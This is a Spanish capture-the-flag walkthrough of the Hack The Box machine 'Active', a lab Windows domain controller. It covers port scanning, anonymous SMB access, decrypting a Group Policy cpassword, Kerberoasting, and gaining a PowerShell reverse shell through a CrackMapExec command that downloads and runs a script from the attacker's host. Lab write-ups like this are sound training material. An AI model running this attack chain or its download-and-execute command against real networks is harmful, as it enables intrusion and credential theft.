Active es una máquina Windows de dificultad fácil ofrecida por la plataforma de Hack The Box. A lo largo de este post encontrarás un paso a paso de su resolución.
Resumen
Esta máquina trata conceptos de enumeración de Active Directory, recursos compartidos y autenticación. Primero nos encontraremos con un directorio que podemos acceder a través de SMB utilizando un null session, posteriormente obtendremos credenciales desde un archivo encontrado en este directorio y utilizaremos esas credenciales para realizar un Kerberoasting y obtener el hash del usuario Administrator.
Enumeración
Rustscan - NMAP
Como siempre, se iniciará realizando un escaneo general de los 65535 puertos. En este caso se utilizará Rustscan, proporcionando comandos de nmap para realizar el escaneo desde un one-liner.
rustscan 10.10.10.100 -- -sC -sV | tee ports-rustcan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
Faster Nmap scanning with Rust.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.10.100:53
Open 10.10.10.100:88
Open 10.10.10.100:135
Open 10.10.10.100:139
Open 10.10.10.100:389
Open 10.10.10.100:593
Open 10.10.10.100:3268
Open 10.10.10.100:3269
Open 10.10.10.100:5722
Open 10.10.10.100:9389
Open 10.10.10.100:47001
Open 10.10.10.100:49152
Open 10.10.10.100:49153
Open 10.10.10.100:49154
Open 10.10.10.100:49155
Open 10.10.10.100:49157
Open 10.10.10.100:49158
Open 10.10.10.100:49165
Open 10.10.10.100:49170
Open 10.10.10.100:49171
(...)
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2022-01-20 01:42:44Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
5722/tcp open msrpc syn-ack Microsoft Windows RPC
9389/tcp open mc-nmf syn-ack .NET Message Framing
49152/tcp open msrpc syn-ack Microsoft Windows RPC
49153/tcp open msrpc syn-ack Microsoft Windows RPC
49154/tcp open msrpc syn-ack Microsoft Windows RPC
49155/tcp open msrpc syn-ack Microsoft Windows RPC
49157/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc syn-ack Microsoft Windows RPC
49165/tcp open msrpc syn-ack Microsoft Windows RPC
49170/tcp open msrpc syn-ack Microsoft Windows RPC
49171/tcp open msrpc syn-ack Microsoft Windows RPC
Enumeración SMB
Comenzando con CrackMapExec, haremos una enumeración básica.
Se obtiene el dominio: active.htb
y el nombre de la máquina: DC
.
Utilizando un usuario y contraseña null
es posible listar directorios compartidos SMB. En donde se obtienen permisos de lectura para el share Replication.
Ingresaremos al recurso compartido haciendo uso de smbclient
y descargaremos el contenido de manera recursiva.
1
2
3
4
5
6
7
8
9
10
11
12
13
> smbclient //10.10.10.100/Replication -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Jul 21 06:37:44 2018
.. D 0 Sat Jul 21 06:37:44 2018
active.htb D 0 Sat Jul 21 06:37:44 2018
5217023 blocks of size 4096. 279252 blocks available
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
Obteniendo credenciales
Dentro de la carpeta active.htb
se puede visualizar lo siguiente.
1
2
3
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
Haciendo una búsqueda rápida en la web, vemos que el archivo Groups.xml
sin duda es interesante ya que éste puede almacenar credenciales relacionadas a políticas de grupo o GPO.
En el archivo se obtiene el usuario SVC_TGS
y vemos un elemento llamado cpassword
que contiene una cadena de caracteres que pueden ser descifrados con la ayuda de gpp-decrypt.
Teniendo estas credenciales, procedemos a chequearlas con cme
.
Posteriormente verificaremos si existen más usuarios por enumerar haciendo un bruteforcing de RID.
No se obtienen nuevos usuarios de interés.
Kerberoasting
Ahora que tenemos un usuario con credenciales válidas realizaremos un ataque Kerberoasting.
GetUserSPNs.py active.htb/SVC_TGS -request -dc-ip 10.10.10.100
Guardaremos el hash en el archivo hash
y lo crackearemos con john
utilizando el diccionario rockyou.txt
Verificaremos la contraseña con cme
.
Consola como Administrador
En este punto que ya poseemos credenciales válidas del usuario Administrator
, solo bastaría utilizar psexec
para loguear al sistema, pero en este caso quiero una consola a través de PowerShell.
Para obtener una consola interactiva de Powershell, usaremos el parámetro -x
de CrackMapExec para ejecutar comandos y obtener una conexión inversa. El proceso a realizar es el siguiente.
- Descargar el script Invoke-PowerShellTcp y modificarlo para entablar una conexión hacia la dirección IP de nuestra máquina a través del puerto 8443.
- Compartir el script con un servidor web en python3
- Iniciar un listener para obtener la reverse shell.
- Ejecutar el siguiente comando de cme con las credenciales de Administrador.
1
cme smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968' -x "powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6:8000/IPS.ps1')"
Ya teniendo nuestra shell, podemos ejecutar una simple búsqueda para listar las flags.
1
Get-ChildItem -Path C:\Users -Recurse -Include user.txt, root.txt | select FullName
Y eso sería todo para Active. ¡FELIZ HACKING!